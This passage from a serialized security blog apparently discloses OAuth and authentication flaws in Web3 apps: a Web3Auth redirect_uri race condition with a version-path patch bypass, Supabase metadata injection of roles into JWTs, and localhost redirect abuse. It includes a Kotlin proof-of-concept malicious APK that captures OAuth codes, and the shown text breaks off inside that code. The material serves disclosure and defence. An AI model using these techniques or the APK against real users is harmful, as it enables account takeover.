expire.",{"type":21,"tag":75,"props":69777,"children":69778},{},[69779],{"type":27,"value":69780},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":21,"tag":75,"props":69782,"children":69783},{},[69784],{"type":27,"value":69785},"Repeat steps 2 to 4 for each signer",{"type":21,"tag":22,"props":69787,"children":69789},{"id":69788},"beyond",[69790],{"type":27,"value":69791},"Beyond",{"type":21,"tag":30,"props":69793,"children":69794},{},[69795],{"type":27,"value":69796},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":21,"tag":30,"props":69798,"children":69799},{},[69800,69802,69809],{"type":27,"value":69801},"For example, pcaversaccio wrote a tool to ",{"type":21,"tag":34,"props":69803,"children":69806},{"href":69804,"rel":69805},"https://github.com/pcaversaccio/safe-tx-hashes-util",[38],[69807],{"type":27,"value":69808},"validate Safe transaction hashes",{"type":27,"value":69810},". As the space matures, we hope more open source tooling will come to light.",{"type":21,"tag":3606,"props":69812,"children":69814},{"className":69813,"dataFootnotes":7},[3609],[69815,69820],{"type":21,"tag":22,"props":69816,"children":69818},{"className":69817,"id":130},[3614],[69819],{"type":27,"value":3617},{"type":21,"tag":71,"props":69821,"children":69822},{},[69823],{"type":21,"tag":75,"props":69824,"children":69825},{"id":3623},[69826,69828,69836,69838],{"type":27,"value":69827},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":21,"tag":34,"props":69829,"children":69833},{"href":69830,"rel":69831,":style":69832},"https://twitter.com/PierreArowana",[38],"color: #B1D0EE; text-decoration: underline;",[69834],{"type":27,"value":69835},"@PierreArowana",{"type":27,"value":69837}," for pointing this out to me. ",{"type":21,"tag":34,"props":69839,"children":69841},{"href":3637,"ariaLabel":3638,"className":69840,"dataFootnoteBackref":7},[3640],[69842],{"type":27,"value":3643},{"type":21,"tag":3645,"props":69844,"children":69845},{},[69846],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":69848},[69849,69853,69854,69855],{"id":68045,"depth":217,"text":68048,"children":69850},[69851,69852],{"id":68056,"depth":236,"text":68059},{"id":68335,"depth":236,"text":68338},{"id":69056,"depth":217,"text":69059},{"id":69788,"depth":217,"text":69791},{"id":130,"depth":217,"text":3617},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":69860,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":69861,"description":69862,"date":69863,"author":69864,"image":69865,"isFeatured":16,"onBlogPage":16,"tags":69867,"body":69868,"_type":3671,"_id":71566,"_source":3673,"_file":71567,"_stem":71568,"_extension":3676},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[11,12],{"src":69866},"/posts/web2-in-web3/title.jpg",[32927],{"type":18,"children":69869,"toc":71548},[69870,69875,69880,69885,69911,69917,69922,69928,69949,69955,69960,69967,69980,70010,70016,70060,70067,70073,70106,70127,70135,70154,70161,70166,70172,70177,70182,70207,70212,70218,70224,70245,70251,70278,70306,70313,70318,70323,70668,70672,70694,70700,70721,70735,70748,70753,70769,70774,71503,71508,71513,71518,71530,71534,71539,71544],{"type":21,"tag":30,"props":69871,"children":69872},{},[69873],{"type":27,"value":69874},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":21,"tag":30,"props":69876,"children":69877},{},[69878],{"type":27,"value":69879},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":21,"tag":30,"props":69881,"children":69882},{},[69883],{"type":27,"value":69884},"In this article, we will discuss three cases we discovered:",{"type":21,"tag":71,"props":69886,"children":69887},{},[69888,69893,69906],{"type":21,"tag":75,"props":69889,"children":69890},{},[69891],{"type":27,"value":69892},"OAuth Logic Vulnerability on an Authentication Provider",{"type":21,"tag":75,"props":69894,"children":69895},{},[69896,69898,69904],{"type":27,"value":69897},"Supabase ",{"type":21,"tag":194,"props":69899,"children":69901},{"className":69900},[],[69902],{"type":27,"value":69903},"user_metadata",{"type":27,"value":69905}," misconfiguration",{"type":21,"tag":75,"props":69907,"children":69908},{},[69909],{"type":27,"value":69910},"OAuth abuse in localhost development environment",{"type":21,"tag":22,"props":69912,"children":69914},{"id":69913},"abusing-oauth-authentication-logic",[69915],{"type":27,"value":69916},"Abusing OAuth Authentication Logic",{"type":21,"tag":30,"props":69918,"children":69919},{},[69920],{"type":27,"value":69921},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":21,"tag":59,"props":69923,"children":69925},{"id":69924},"web3auth-introduction",[69926],{"type":27,"value":69927},"Web3Auth Introduction",{"type":21,"tag":30,"props":69929,"children":69930},{},[69931,69938,69940,69947],{"type":21,"tag":34,"props":69932,"children":69935},{"href":69933,"rel":69934},"https://web3auth.io/",[38],[69936],{"type":27,"value":69937},"Web3Auth",{"type":27,"value":69939}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":21,"tag":34,"props":69941,"children":69944},{"href":69942,"rel":69943},"https://oauth.net/2/",[38],[69945],{"type":27,"value":69946},"OAuth2",{"type":27,"value":69948}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":21,"tag":59,"props":69950,"children":69952},{"id":69951},"web3auth-authentication-flow",[69953],{"type":27,"value":69954},"Web3Auth Authentication flow",{"type":21,"tag":30,"props":69956,"children":69957},{},[69958],{"type":27,"value":69959},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":21,"tag":30,"props":69961,"children":69962},{},[69963],{"type":21,"tag":1376,"props":69964,"children":69966},{"alt":50954,"src":69965},"/posts/web2-in-web3/auth-flow.png",[],{"type":21,"tag":30,"props":69968,"children":69969},{},[69970,69972,69978],{"type":27,"value":69971},"After the final redirect back to the dApp, the application can use the secret token to authenticate with the service identified by the ",{"type":21,"tag":194,"props":69973,"children":69975},{"className":69974},[],[69976],{"type":27,"value":69977},"client_id",{"type":27,"value":69979},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":21,"tag":30,"props":69981,"children":69982},{},[69983,69985,69991,69993,69999,70001,70008],{"type":27,"value":69984},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":21,"tag":194,"props":69986,"children":69988},{"className":69987},[],[69989],{"type":27,"value":69990},"/start",{"type":27,"value":69992}," validates the ",{"type":21,"tag":194,"props":69994,"children":69996},{"className":69995},[],[69997],{"type":27,"value":69998},"redirect_url",{"type":27,"value":70000}," against the configured ",{"type":21,"tag":34,"props":70002,"children":70005},{"href":70003,"rel":70004},"https://web3auth.io/docs/dashboard-setup/whitelisting",[38],[70006],{"type":27,"value":70007},"whitelist",{"type":27,"value":70009}," to ensure it matches one of the allowed URLs.",{"type":21,"tag":59,"props":70011,"children":70013},{"id":70012},"in-transit-cryptography",[70014],{"type":27,"value":70015},"In-transit Cryptography",{"type":21,"tag":30,"props":70017,"children":70018},{},[70019,70021,70028,70030,70036,70038,70044,70046,70051,70053,70058],{"type":27,"value":70020},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":21,"tag":34,"props":70022,"children":70025},{"href":70023,"rel":70024},"https://en.wikipedia.org/wiki/Key_(cryptography)",[38],[70026],{"type":27,"value":70027},"cryptographic key",{"type":27,"value":70029}," is derived from the ",{"type":21,"tag":194,"props":70031,"children":70033},{"className":70032},[],[70034],{"type":27,"value":70035},"sessionId",{"type":27,"value":70037}," sent in the ",{"type":21,"tag":194,"props":70039,"children":70041},{"className":70040},[],[70042],{"type":27,"value":70043},"GET",{"type":27,"value":70045}," parameter to the ",{"type":21,"tag":194,"props":70047,"children":70049},{"className":70048},[],[70050],{"type":27,"value":69990},{"type":27,"value":70052},". Since the ",{"type":21,"tag":194,"props":70054,"children":70056},{"className":70055},[],[70057],{"type":27,"value":70035},{"type":27,"value":70059}," can be controlled, it allows us to send and receive data from the session server.",{"type":21,"tag":30,"props":70061,"children":70062},{},[70063],{"type":21,"tag":1376,"props":70064,"children":70066},{"alt":50954,"src":70065},"/posts/web2-in-web3/image-2.png",[],{"type":21,"tag":59,"props":70068,"children":70070},{"id":70069},"race-condition",[70071],{"type":27,"value":70072},"Race Condition",{"type":21,"tag":30,"props":70074,"children":70075},{},[70076,70078,70083,70085,70091,70093,70098,70100,70105],{"type":27,"value":70077},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":21,"tag":194,"props":70079,"children":70081},{"className":70080},[],[70082],{"type":27,"value":69990},{"type":27,"value":70084}," and later used in the ",{"type":21,"tag":194,"props":70086,"children":70088},{"className":70087},[],[70089],{"type":27,"value":70090},"/end",{"type":27,"value":70092}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after validation (",{"type":21,"tag":194,"props":70094,"children":70096},{"className":70095},[],[70097],{"type":27,"value":69990},{"type":27,"value":70099},") but before use (",{"type":21,"tag":194,"props":70101,"children":70103},{"className":70102},[],[70104],{"type":27,"value":70090},{"type":27,"value":3394},{"type":21,"tag":30,"props":70107,"children":70108},{},[70109,70111,70118,70120,70125],{"type":27,"value":70110},"To exploit this ",{"type":21,"tag":34,"props":70112,"children":70115},{"href":70113,"rel":70114},"https://portswigger.net/web-security/race-conditions",[38],[70116],{"type":27,"value":70117},"race condition",{"type":27,"value":70119},", an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":21,"tag":194,"props":70121,"children":70123},{"className":70122},[],[70124],{"type":27,"value":70035},{"type":27,"value":70126}," but with modified malicious parameters.",{"type":21,"tag":30,"props":70128,"children":70129},{},[70130],{"type":21,"tag":6137,"props":70131,"children":70132},{},[70133],{"type":27,"value":70134},"What can be modified to achieve something impactful?",{"type":21,"tag":30,"props":70136,"children":70137},{},[70138,70140,70146,70148,70153],{"type":27,"value":70139},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":21,"tag":194,"props":70141,"children":70143},{"className":70142},[],[70144],{"type":27,"value":70145},"redirect_uri",{"type":27,"value":70147}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":21,"tag":194,"props":70149,"children":70151},{"className":70150},[],[70152],{"type":27,"value":69977},{"type":27,"value":658},{"type":21,"tag":30,"props":70155,"children":70156},{},[70157],{"type":21,"tag":1376,"props":70158,"children":70160},{"alt":50954,"src":70159},"/posts/web2-in-web3/image-3.png",[],{"type":21,"tag":30,"props":70162,"children":70163},{},[70164],{"type":27,"value":70165},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":21,"tag":59,"props":70167,"children":70169},{"id":70168},"patch-bypass",[70170],{"type":27,"value":70171},"Patch & Bypass",{"type":21,"tag":30,"props":70173,"children":70174},{},[70175],{"type":27,"value":70176},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":21,"tag":30,"props":70178,"children":70179},{},[70180],{"type":27,"value":70181},"To bypass the fix we were able to change the version in the URL:",{"type":21,"tag":138,"props":70183,"children":70184},{},[70185,70196],{"type":21,"tag":75,"props":70186,"children":70187},{},[70188,70194],{"type":21,"tag":194,"props":70189,"children":70191},{"className":70190},[],[70192],{"type":27,"value":70193},"https://auth.web3auth.io/v8/start",{"type":27,"value":70195}," (latest version)",{"type":21,"tag":75,"props":70197,"children":70198},{},[70199,70205],{"type":21,"tag":194,"props":70200,"children":70202},{"className":70201},[],[70203],{"type":27,"value":70204},"https://auth.web3auth.io/v6/start",{"type":27,"value":70206}," (bypass)",{"type":21,"tag":30,"props":70208,"children":70209},{},[70210],{"type":27,"value":70211},"We reported this issue, and it was addressed just as quickly!",{"type":21,"tag":22,"props":70213,"children":70215},{"id":70214},"supabase-metadata-manipulation",[70216],{"type":27,"value":70217},"Supabase metadata manipulation",{"type":21,"tag":59,"props":70219,"children":70221},{"id":70220},"supabase-authentication-flow",[70222],{"type":27,"value":70223},"Supabase Authentication flow",{"type":21,"tag":30,"props":70225,"children":70226},{},[70227,70234,70236,70243],{"type":21,"tag":34,"props":70228,"children":70231},{"href":70229,"rel":70230},"https://supabase.com/docs/guides/auth",[38],[70232],{"type":27,"value":70233},"Supabase",{"type":27,"value":70235}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":21,"tag":34,"props":70237,"children":70240},{"href":70238,"rel":70239},"https://jwt.io/",[38],[70241],{"type":27,"value":70242},"JWT",{"type":27,"value":70244}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":21,"tag":59,"props":70246,"children":70248},{"id":70247},"jwt-verification",[70249],{"type":27,"value":70250},"JWT verification",{"type":21,"tag":30,"props":70252,"children":70253},{},[70254,70256,70261,70262,70268,70270,70276],{"type":27,"value":70255},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":21,"tag":194,"props":70257,"children":70259},{"className":70258},[],[70260],{"type":27,"value":69903},{"type":27,"value":11801},{"type":21,"tag":194,"props":70263,"children":70265},{"className":70264},[],[70266],{"type":27,"value":70267},"identity_data",{"type":27,"value":70269},", in a signup request by manipulating the input inside the ",{"type":21,"tag":194,"props":70271,"children":70273},{"className":70272},[],[70274],{"type":27,"value":70275},"\"data\": {}",{"type":27,"value":70277}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":21,"tag":30,"props":70279,"children":70280},{},[70281,70283,70289,70290,70296,70298,70304],{"type":27,"value":70282},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":21,"tag":194,"props":70284,"children":70286},{"className":70285},[],[70287],{"type":27,"value":70288},"\"role\": \"admin\"",{"type":27,"value":13940},{"type":21,"tag":194,"props":70291,"children":70293},{"className":70292},[],[70294],{"type":27,"value":70295},"\"email_verified\": true",{"type":27,"value":70297},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":21,"tag":194,"props":70299,"children":70301},{"className":70300},[],[70302],{"type":27,"value":70303},"\"test\": \"test\"",{"type":27,"value":70305},", enabling us to inject arbitrary data into the final JWT token.",{"type":21,"tag":30,"props":70307,"children":70308},{},[70309],{"type":21,"tag":1376,"props":70310,"children":70312},{"alt":50954,"src":70311},"/posts/web2-in-web3/image-4.png",[],{"type":21,"tag":30,"props":70314,"children":70315},{},[70316],{"type":27,"value":70317},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":21,"tag":30,"props":70319,"children":70320},{},[70321],{"type":27,"value":70322},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":21,"tag":187,"props":70324,"children":70326},{"className":189,"code":70325,"language":191,"meta":7,"style":7},"function parseSupaBase(token) {\n try {\n const [header, payload, signature] = token.split('.');\n const decodedHeader = JSON.parse(atob(header));\n const decodedPayload = JSON.parse(atob(payload));\n return { header: decodedHeader, payload: decodedPayload, signature };\n } catch (error) {\n console.error('Error parsing token:', error);\n return null;\n }\n}\n",[70327],{"type":21,"tag":194,"props":70328,"children":70329},{"__ignoreMap":7},[70330,70355,70367,70436,70485,70533,70578,70601,70638,70654,70661],{"type":21,"tag":198,"props":70331,"children":70332},{"class":200,"line":201},[70333,70337,70342,70346,70351],{"type":21,"tag":198,"props":70334,"children":70335},{"style":249},[70336],{"type":27,"value":892},{"type":21,"tag":198,"props":70338,"children":70339},{"style":698},[70340],{"type":27,"value":70341}," parseSupaBase",{"type":21,"tag":198,"props":70343,"children":70344},{"style":211},[70345],{"type":27,"value":706},{"type":21,"tag":198,"props":70347,"children":70348},{"style":226},[70349],{"type":27,"value":70350},"token",{"type":21,"tag":198,"props":70352,"children":70353},{"style":211},[70354],{"type":27,"value":668},{"type":21,"tag":198,"props":70356,"children":70357},{"class":200,"line":217},[70358,70363],{"type":21,"tag":198,"props":70359,"children":70360},{"style":640},[70361],{"type":27,"value":70362}," try",{"type":21,"tag":198,"props":70364,"children":70365},{"style":211},[70366],{"type":27,"value":233},{"type":21,"tag":198,"props":70368,"children":70369},{"class":200,"line":236},[70370,70374,70378,70383,70387,70392,70396,70401,70405,70409,70414,70418,70423,70427,70432],{"type":21,"tag":198,"props":70371,"children":70372},{"style":249},[70373],{"type":27,"value":33680},{"type":21,"tag":198,"props":70375,"children":70376},{"style":211},[70377],{"type":27,"value":2810},{"type":21,"tag":198,"props":70379,"children":70380},{"style":226},[70381],{"type":27,"value":70382},"header",{"type":21,"tag":198,"props":70384,"children":70385},{"style":211},[70386],{"type":27,"value":828},{"type":21,"tag":198,"props":70388,"children":70389},{"style":226},[70390],{"type":27,"value":70391},"payload",{"type":21,"tag":198,"props":70393,"children":70394},{"style":211},[70395],{"type":27,"value":828},{"type":21,"tag":198,"props":70397,"children":70398},{"style":226},[70399],{"type":27,"value":70400},"signature",{"type":21,"tag":198,"props":70402,"children":70403},{"style":211},[70404],{"type":27,"value":9472},{"type":21,"tag":198,"props":70406,"children":70407},{"style":683},[70408],{"type":27,"value":3174},{"type":21,"tag":198,"props":70410,"children":70411},{"style":226},[70412],{"type":27,"value":70413}," token",{"type":21,"tag":198,"props":70415,"children":70416},{"style":211},[70417],{"type":27,"value":658},{"type":21,"tag":198,"props":70419,"children":70420},{"style":698},[70421],{"type":27,"value":70422},"split",{"type":21,"tag":198,"props":70424,"children":70425},{"style":211},[70426],{"type":27,"value":706},{"type":21,"tag":198,"props":70428,"children":70429},{"style":205},[70430],{"type":27,"value":70431},"'.'",{"type":21,"tag":198,"props":70433,"children":70434},{"style":211},[70435],{"type":27,"value":1470},{"type":21,"tag":198,"props":70437,"children":70438},{"class":200,"line":260},[70439,70443,70448,70452,70456,70460,70464,70468,70473,70477,70481],{"type":21,"tag":198,"props":70440,"children":70441},{"style":249},[70442],{"type":27,"value":33680},{"type":21,"tag":198,"props":70444,"children":70445},{"style":226},[70446],{"type":27,"value":70447}," decodedHeader",{"type":21,"tag":198,"props":70449,"children":70450},{"style":683},[70451],{"type":27,"value":979},{"type":21,"tag":198,"props":70453,"children":70454},{"style":226},[70455],{"type":27,"value":38290},{"type":21,"tag":198,"props":70457,"children":70458},{"style":211},[70459],{"type":27,"value":658},{"type":21,"tag":198,"props":70461,"children":70462},{"style":698},[70463],{"type":27,"value":39969},{"type":21,"tag":198,"props":70465,"children":70466},{"style":211},[70467],{"type":27,"value":706},{"type":21,"tag":198,"props":70469,"children":70470},{"style":698},[70471],{"type":27,"value":70472},"atob",{"type":21,"tag":198,"props":70474,"children":70475},{"style":211},[70476],{"type":27,"value":706},{"type":21,"tag":198,"props":70478,"children":70479},{"style":226},[70480],{"type":27,"value":70382},{"type":21,"tag":198,"props":70482,"children":70483},{"style":211},[70484],{"type":27,"value":8035},{"type":21,"tag":198,"props":70486,"children":70487},{"class":200,"line":281},[70488,70492,70497,70501,70505,70509,70513,70517,70521,70525,70529],{"type":21,"tag":198,"props":70489,"children":70490},{"style":249},[70491],{"type":27,"value":33680},{"type":21,"tag":198,"props":70493,"children":70494},{"style":226},[70495],{"type":27,"value":70496}," decodedPayload",{"type":21,"tag":198,"props":70498,"children":70499},{"style":683},[70500],{"type":27,"value":979},{"type":21,"tag":198,"props":70502,"children":70503},{"style":226},[70504],{"type":27,"value":38290},{"type":21,"tag":198,"props":70506,"children":70507},{"style":211},[70508],{"type":27,"value":658},{"type":21,"tag":198,"props":70510,"children":70511},{"style":698},[70512],{"type":27,"value":39969},{"type":21,"tag":198,"props":70514,"children":70515},{"style":211},[70516],{"type":27,"value":706},{"type":21,"tag":198,"props":70518,"children":70519},{"style":698},[70520],{"type":27,"value":70472},{"type":21,"tag":198,"props":70522,"children":70523},{"style":211},[70524],{"type":27,"value":706},{"type":21,"tag":198,"props":70526,"children":70527},{"style":226},[70528],{"type":27,"value":70391},{"type":21,"tag":198,"props":70530,"children":70531},{"style":211},[70532],{"type":27,"value":8035},{"type":21,"tag":198,"props":70534,"children":70535},{"class":200,"line":302},[70536,70540,70544,70549,70553,70557,70562,70566,70570,70574],{"type":21,"tag":198,"props":70537,"children":70538},{"style":640},[70539],{"type":27,"value":16547},{"type":21,"tag":198,"props":70541,"children":70542},{"style":211},[70543],{"type":27,"value":1891},{"type":21,"tag":198,"props":70545,"children":70546},{"style":226},[70547],{"type":27,"value":70548},"header:",{"type":21,"tag":198,"props":70550,"children":70551},{"style":226},[70552],{"type":27,"value":70447},{"type":21,"tag":198,"props":70554,"children":70555},{"style":211},[70556],{"type":27,"value":828},{"type":21,"tag":198,"props":70558,"children":70559},{"style":226},[70560],{"type":27,"value":70561},"payload:",{"type":21,"tag":198,"props":70563,"children":70564},{"style":226},[70565],{"type":27,"value":70496},{"type":21,"tag":198,"props":70567,"children":70568},{"style":211},[70569],{"type":27,"value":828},{"type":21,"tag":198,"props":70571,"children":70572},{"style":226},[70573],{"type":27,"value":70400},{"type":21,"tag":198,"props":70575,"children":70576},{"style":211},[70577],{"type":27,"value":19102},{"type":21,"tag":198,"props":70579,"children":70580},{"class":200,"line":323},[70581,70585,70589,70593,70597],{"type":21,"tag":198,"props":70582,"children":70583},{"style":211},[70584],{"type":27,"value":16582},{"type":21,"tag":198,"props":70586,"children":70587},{"style":640},[70588],{"type":27,"value":1498},{"type":21,"tag":198,"props":70590,"children":70591},{"style":211},[70592],{"type":27,"value":648},{"type":21,"tag":198,"props":70594,"children":70595},{"style":226},[70596],{"type":27,"value":15668},{"type":21,"tag":198,"props":70598,"children":70599},{"style":211},[70600],{"type":27,"value":668},{"type":21,"tag":198,"props":70602,"children":70603},{"class":200,"line":344},[70604,70609,70613,70617,70621,70626,70630,70634],{"type":21,"tag":198,"props":70605,"children":70606},{"style":226},[70607],{"type":27,"value":70608}," console",{"type":21,"tag":198,"props":70610,"children":70611},{"style":211},[70612],{"type":27,"value":658},{"type":21,"tag":198,"props":70614,"children":70615},{"style":698},[70616],{"type":27,"value":15668},{"type":21,"tag":198,"props":70618,"children":70619},{"style":211},[70620],{"type":27,"value":706},{"type":21,"tag":198,"props":70622,"children":70623},{"style":205},[70624],{"type":27,"value":70625},"'Error parsing token:'",{"type":21,"tag":198,"props":70627,"children":70628},{"style":211},[70629],{"type":27,"value":828},{"type":21,"tag":198,"props":70631,"children":70632},{"style":226},[70633],{"type":27,"value":15668},{"type":21,"tag":198,"props":70635,"children":70636},{"style":211},[70637],{"type":27,"value":1470},{"type":21,"tag":198,"props":70639,"children":70640},{"class":200,"line":365},[70641,70645,70650],{"type":21,"tag":198,"props":70642,"children":70643},{"style":640},[70644],{"type":27,"value":16547},{"type":21,"tag":198,"props":70646,"children":70647},{"style":249},[70648],{"type":27,"value":70649}," null",{"type":21,"tag":198,"props":70651,"children":70652},{"style":211},[70653],{"type":27,"value":1483},{"type":21,"tag":198,"props":70655,"children":70656},{"class":200,"line":386},[70657],{"type":21,"tag":198,"props":70658,"children":70659},{"style":211},[70660],{"type":27,"value":880},{"type":21,"tag":198,"props":70662,"children":70663},{"class":200,"line":408},[70664],{"type":21,"tag":198,"props":70665,"children":70666},{"style":211},[70667],{"type":27,"value":1120},{"type":21,"tag":59,"props":70669,"children":70670},{"id":41088},[70671],{"type":27,"value":41091},{"type":21,"tag":30,"props":70673,"children":70674},{},[70675,70677,70684,70686,70692],{"type":27,"value":70676},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":21,"tag":34,"props":70678,"children":70681},{"href":70679,"rel":70680},"https://supabase.com/docs/guides/database/postgres/row-level-security",[38],[70682],{"type":27,"value":70683},"Row-Level Security",{"type":27,"value":70685}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":21,"tag":194,"props":70687,"children":70689},{"className":70688},[],[70690],{"type":27,"value":70691},"app_metadata",{"type":27,"value":70693},". These fields must be strictly validated at every step of their creation and update processes.",{"type":21,"tag":22,"props":70695,"children":70697},{"id":70696},"oauth-in-development-environments",[70698],{"type":27,"value":70699},"OAuth in development environments",{"type":21,"tag":30,"props":70701,"children":70702},{},[70703,70705,70712,70714,70719],{"type":27,"value":70704},"After watching a ",{"type":21,"tag":34,"props":70706,"children":70709},{"href":70707,"rel":70708},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[38],[70710],{"type":27,"value":70711},"talk",{"type":27,"value":70713}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":21,"tag":194,"props":70715,"children":70717},{"className":70716},[],[70718],{"type":27,"value":70145},{"type":27,"value":70720}," parameter during the OAuth flow.",{"type":21,"tag":30,"props":70722,"children":70723},{},[70724,70726,70733],{"type":27,"value":70725},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":21,"tag":34,"props":70727,"children":70730},{"href":70728,"rel":70729},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[38],[70731],{"type":27,"value":70732},"Remote Code Execution",{"type":27,"value":70734}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":21,"tag":30,"props":70736,"children":70737},{},[70738,70740,70746],{"type":27,"value":70739},"In one of our client's implementations, we identified that ",{"type":21,"tag":194,"props":70741,"children":70743},{"className":70742},[],[70744],{"type":27,"value":70745},"localhost:3000",{"type":27,"value":70747}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":21,"tag":30,"props":70749,"children":70750},{},[70751],{"type":27,"value":70752},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":21,"tag":187,"props":70754,"children":70758},{"className":70755,"code":70756,"language":70757,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[70759],{"type":21,"tag":194,"props":70760,"children":70761},{"__ignoreMap":7},[70762],{"type":21,"tag":198,"props":70763,"children":70764},{"class":200,"line":201},[70765],{"type":21,"tag":198,"props":70766,"children":70767},{},[70768],{"type":27,"value":70756},{"type":21,"tag":30,"props":70770,"children":70771},{},[70772],{"type":27,"value":70773},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":21,"tag":187,"props":70775,"children":70779},{"className":70776,"code":70777,"language":70778,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.search;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n 